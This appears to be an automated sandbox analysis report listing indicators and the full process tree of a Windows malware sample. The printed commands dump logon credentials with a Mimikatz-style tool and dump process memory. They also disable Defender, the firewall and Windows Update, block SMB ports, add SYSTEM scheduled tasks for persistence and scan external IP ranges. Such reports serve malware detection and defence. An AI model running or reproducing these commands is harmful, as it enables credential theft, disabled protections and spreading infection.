\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing vemgpbbel.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vemgpbbel.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vemgpbbel.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bccprvs.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bccprvs.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bccprvs.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1676 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found 672 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 4848 e1424de72e52bcexeexeexeex.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeDebugPrivilege 4848 e1424de72e52bcexeexeexeex.exe Token: SeDebugPrivilege 1048 bccprvs.exe Token: SeDebugPrivilege 1912 bccprvs.exe Token: SeDebugPrivilege 712 vfshost.exe Token: SeDebugPrivilege 4684 vemgpbbel.exe Token: SeLockMemoryPrivilege 1968 biqkgj.exe Token: SeLockMemoryPrivilege 1968 biqkgj.exe Token: SeDebugPrivilege 4136 vemgpbbel.exe Token: SeDebugPrivilege 6592 vemgpbbel.exe Token: SeDebugPrivilege 5496 vemgpbbel.exe Token: SeDebugPrivilege 6220 vemgpbbel.exe Token: SeDebugPrivilege 3312 vemgpbbel.exe Token: SeDebugPrivilege 784 vemgpbbel.exe Token: SeDebugPrivilege 2228 vemgpbbel.exe Token: SeDebugPrivilege 6344 vemgpbbel.exe Token: SeDebugPrivilege 5692 vemgpbbel.exe Token: SeDebugPrivilege 5720 vemgpbbel.exe Token: SeDebugPrivilege 3960 vemgpbbel.exe Token: SeDebugPrivilege 7016 vemgpbbel.exe Token: SeDebugPrivilege 1156 vemgpbbel.exe Token: SeDebugPrivilege 5456 vemgpbbel.exe Token: SeDebugPrivilege 5448 vemgpbbel.exe Token: SeDebugPrivilege 856 vemgpbbel.exe Token: SeDebugPrivilege 6592 vemgpbbel.exe Token: SeDebugPrivilege 6256 vemgpbbel.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4848 e1424de72e52bcexeexeexeex.exe 4848 e1424de72e52bcexeexeexeex.exe 1048 bccprvs.exe 1048 bccprvs.exe 1912 bccprvs.exe 1912 bccprvs.exe 6092 xohudmc.exe 5932 cuwoqc.exe 1500 bccprvs.exe 1500 bccprvs.exe 6900 bccprvs.exe 6900 bccprvs.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4848 wrote to memory of 1764 4848 e1424de72e52bcexeexeexeex.exe 86 PID 4848 wrote to memory of 1764 4848 e1424de72e52bcexeexeexeex.exe 86 PID 4848 wrote to memory of 1764 4848 e1424de72e52bcexeexeexeex.exe 86 PID 1764 wrote to memory of 1676 1764 cmd.exe 88 PID 1764 wrote to memory of 1676 1764 cmd.exe 88 PID 1764 wrote to memory of 1676 1764 cmd.exe 88 PID 1764 wrote to memory of 1048 1764 cmd.exe 89 PID 1764 wrote to memory of 1048 1764 cmd.exe 89 PID 1764 wrote to memory of 1048 1764 cmd.exe 89 PID 1912 wrote to memory of 2576 1912 bccprvs.exe 91 PID 1912 wrote to memory of 2576 1912 bccprvs.exe 91 PID 1912 wrote to memory of 2576 1912 bccprvs.exe 91 PID 2576 wrote to memory of 3580 2576 cmd.exe 93 PID 2576 wrote to memory of 3580 2576 cmd.exe 93 PID 2576 wrote to memory of 3580 2576 cmd.exe 93 PID 2576 wrote to memory of 3420 2576 cmd.exe 94 PID 2576 wrote to memory of 3420 2576 cmd.exe 94 PID 2576 wrote to memory of 3420 2576 cmd.exe 94 PID 2576 wrote to memory of 1068 2576 cmd.exe 95 PID 2576 wrote to memory of 1068 2576 cmd.exe 95 PID 2576 wrote to memory of 1068 2576 cmd.exe 95 PID 2576 wrote to memory of 2276 2576 cmd.exe 96 PID 2576 wrote to memory of 2276 2576 cmd.exe 96 PID 2576 wrote to memory of 2276 2576 cmd.exe 96 PID 2576 wrote to memory of 4468 2576 cmd.exe 97 PID 2576 wrote to memory of 4468 2576 cmd.exe 97 PID 2576 wrote to memory of 4468 2576 cmd.exe 97 PID 2576 wrote to memory of 2768 2576 cmd.exe 98 PID 2576 wrote to memory of 2768 2576 cmd.exe 98 PID 2576 wrote to memory of 2768 2576 cmd.exe 98 PID 1912 wrote to memory of 3592 1912 bccprvs.exe 99 PID 1912 wrote to memory of 3592 1912 bccprvs.exe 99 PID 1912 wrote to memory of 3592 1912 bccprvs.exe 99 PID 1912 wrote to memory of 4864 1912 bccprvs.exe 101 PID 1912 wrote to memory of 4864 1912 bccprvs.exe 101 PID 1912 wrote to memory of 4864 1912 bccprvs.exe 101 PID 1912 wrote to memory of 4904 1912 bccprvs.exe 103 PID 1912 wrote to memory of 4904 1912 bccprvs.exe 103 PID 1912 wrote to memory of 4904 1912 bccprvs.exe 103 PID 1912 wrote to memory of 4684 1912 bccprvs.exe 112 PID 1912 wrote to memory of 4684 1912 bccprvs.exe 112 PID 1912 wrote to memory of 4684 1912 bccprvs.exe 112 PID 4684 wrote to memory of 860 4684 cmd.exe 114 PID 4684 wrote to memory of 860 4684 cmd.exe 114 PID 4684 wrote to memory of 860 4684 cmd.exe 114 PID 860 wrote to memory of 1336 860 wpcap.exe 115 PID 860 wrote to memory of 1336 860 wpcap.exe 115 PID 860 wrote to memory of 1336 860 wpcap.exe 115 PID 1336 wrote to memory of 3688 1336 net.exe 117 PID 1336 wrote to memory of 3688 1336 net.exe 117 PID 1336 wrote to memory of 3688 1336 net.exe 117 PID 860 wrote to memory of 988 860 wpcap.exe 118 PID 860 wrote to memory of 988 860 wpcap.exe 118 PID 860 wrote to memory of 988 860 wpcap.exe 118 PID 988 wrote to memory of 4412 988 net.exe 120 PID 988 wrote to memory of 4412 988 net.exe 120 PID 988 wrote to memory of 4412 988 net.exe 120 PID 860 wrote to memory of 2868 860 wpcap.exe 121 PID 860 wrote to memory of 2868 860 wpcap.exe 121 PID 860 wrote to memory of 2868 860 wpcap.exe 121 PID 2868 wrote to memory of 1420 2868 net.exe 123 PID 2868 wrote to memory of 1420 2868 net.exe 123 PID 2868 wrote to memory of 1420 2868 net.exe 123 PID 860 wrote to memory of 3708 860 wpcap.exe 124
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2052
-
C:\Windows\TEMP\tcyetqglu\biqkgj.exe"C:\Windows\TEMP\tcyetqglu\biqkgj.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1968
-
-
C:\Users\Admin\AppData\Local\Temp\e1424de72e52bcexeexeexeex.exe"C:\Users\Admin\AppData\Local\Temp\e1424de72e52bcexeexeexeex.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\leieqpsr\bccprvs.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1676
-
-
C:\Windows\leieqpsr\bccprvs.exeC:\Windows\leieqpsr\bccprvs.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1048
-
-
-
C:\Windows\leieqpsr\bccprvs.exeC:\Windows\leieqpsr\bccprvs.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3580
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3420
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2276
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4468
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2768
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵PID:3592
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:4864
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:4904
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ngubtktzb\ieipgdvci\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\ngubtktzb\ieipgdvci\wpcap.exeC:\Windows\ngubtktzb\ieipgdvci\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:3688
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:4412
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:1420
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:3708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2120
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1768
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:4424
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:656
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1028
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:4204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2632
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ngubtktzb\ieipgdvci\uckqglqms.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ngubtktzb\ieipgdvci\Scant.txt2⤵PID:4468
-
C:\Windows\ngubtktzb\ieipgdvci\uckqglqms.exeC:\Windows\ngubtktzb\ieipgdvci\uckqglqms.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\ngubtktzb\ieipgdvci\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4976
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ngubtktzb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ngubtktzb\Corporate\log.txt2⤵
- Drops file in Windows directory
PID:1668 -
C:\Windows\ngubtktzb\Corporate\vfshost.exeC:\Windows\ngubtktzb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:712
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:2288
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lcclqmcnt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tcyetqglu\biqkgj.exe /p everyone:F"2⤵PID:4088
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1612
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "lcclqmcnt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tcyetqglu\biqkgj.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:4652
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cnepluppv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\leieqpsr\bccprvs.exe /p everyone:F"2⤵PID:2580
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1336
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "cnepluppv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\leieqpsr\bccprvs.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:4916
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "psinrmnut" /ru system /tr "cmd /c C:\Windows\ime\bccprvs.exe"2⤵PID:2956
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1700
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "psinrmnut" /ru system /tr "cmd /c C:\Windows\ime\bccprvs.exe"3⤵
- Creates scheduled task(s)
PID:1844
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:1472
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:4412
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:3660
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2780
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:4584
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:3940
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 800 C:\Windows\TEMP\ngubtktzb\800.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4684
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:4724
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:3064
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:248
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2788
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:3520
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:2712
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:3576
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:4980
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:1712
-
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 396 C:\Windows\TEMP\ngubtktzb\396.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4136
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:1108
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:2220
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\ngubtktzb\ieipgdvci\scan.bat2⤵PID:972
-
C:\Windows\ngubtktzb\ieipgdvci\gvpkiilap.exegvpkiilap.exe TCP 154.61.0.1 154.61.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4816
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:1532
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:4872
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:1964
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:4228
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:4152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:2228
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:3684
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:4708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:784
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2380
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:3796
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:4408
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1692
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:684
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:2556
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:4692
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:2520
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:6092
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2052 C:\Windows\TEMP\ngubtktzb\2052.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6592
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2432 C:\Windows\TEMP\ngubtktzb\2432.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5496
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2540 C:\Windows\TEMP\ngubtktzb\2540.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6220
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2560 C:\Windows\TEMP\ngubtktzb\2560.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3312
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2800 C:\Windows\TEMP\ngubtktzb\2800.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:784
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3496 C:\Windows\TEMP\ngubtktzb\3496.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2228
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3672 C:\Windows\TEMP\ngubtktzb\3672.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6344
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3736 C:\Windows\TEMP\ngubtktzb\3736.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5692
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3816 C:\Windows\TEMP\ngubtktzb\3816.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5720
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2300 C:\Windows\TEMP\ngubtktzb\2300.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 5044 C:\Windows\TEMP\ngubtktzb\5044.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:7016
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 4528 C:\Windows\TEMP\ngubtktzb\4528.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1156
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2000 C:\Windows\TEMP\ngubtktzb\2000.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5456
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3096 C:\Windows\TEMP\ngubtktzb\3096.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5448
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 3008 C:\Windows\TEMP\ngubtktzb\3008.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 972 C:\Windows\TEMP\ngubtktzb\972.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6592
-
-
C:\Windows\TEMP\ngubtktzb\vemgpbbel.exeC:\Windows\TEMP\ngubtktzb\vemgpbbel.exe -accepteula -mp 2576 C:\Windows\TEMP\ngubtktzb\2576.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6256
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:4456
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5232
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:5844
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:236
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5632
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4808
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:5684
-
-
-
C:\Windows\SysWOW64\cuwoqc.exeC:\Windows\SysWOW64\cuwoqc.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5932
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\bccprvs.exe1⤵PID:6968
-
C:\Windows\ime\bccprvs.exeC:\Windows\ime\bccprvs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
